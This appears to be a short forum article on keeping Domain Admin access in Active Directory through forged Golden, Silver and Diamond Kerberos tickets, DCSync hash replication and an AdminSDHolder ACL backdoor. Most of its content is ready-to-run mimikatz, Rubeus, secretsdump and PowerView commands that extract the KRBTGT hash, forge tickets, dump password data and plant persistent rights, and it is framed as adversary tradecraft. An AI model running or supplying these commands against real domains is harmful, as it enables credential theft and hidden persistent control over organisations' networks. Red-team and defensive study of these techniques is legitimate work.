Статья Domain Admin Persistence: Advanced Techniques for Maintaining Access

[devqp]

Persistence techniques enable adversaries to maintain access to systems despite restarts, credential changes, or other disruptions. This guide assumes existing Domain Admin privileges and details key methods.

Golden Ticket
A forged Kerberos Ticket Granting Ticket (TGT) allows authentication as any user. Requires compromise of the Domain Controller and extraction of the KRBTGT account's NTLM hash.

Extract KRBTGT hash:

mimikatz # lsadump::lsa /inject /name:krbtgt

Forge and inject ticket:

mimikatz # kerberos::golden /domain:offense.local /sid:<Domain_SID> /rc4:<krbtgt_hash> /user:newAdmin /id:500 /ptt

Silver Ticket
Forged Kerberos Ticket Granting Service (TGS) tickets grant access to specific services (e.g., MSSQL) using the service account's password hash. Does not require KDC interaction.

Forge ticket:

mimikatz # kerberos::golden /sid:<Domain_SID> /domain:offense.local /ptt /id:1155 /target:dc-mantvydas.offense.local /service:http /rc4:<service_user_hash> /user:beningnadmin

Diamond Ticket
A modified legitimate TGT that bypasses golden ticket detection by preserving Kerberos policy details. Decrypts, alters, and re-encrypts a DC-issued TGT.

Generate with Rubeus:

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID> /groups:512

DCSync
Simulates Domain Controller behavior to replicate password data. Requires DS-Replication permissions (default: Domain Admins, Enterprise Admins).

Local execution:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Remote execution:

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes

AdminSDHolder Backdoor
Modifying the AdminSDHolder container's ACLs grants persistent Domain Admin privileges. Changes propagate automatically within 60+ minutes.

Add GenericAll rights:

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName spotless -Rights All

Verify permissions:

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}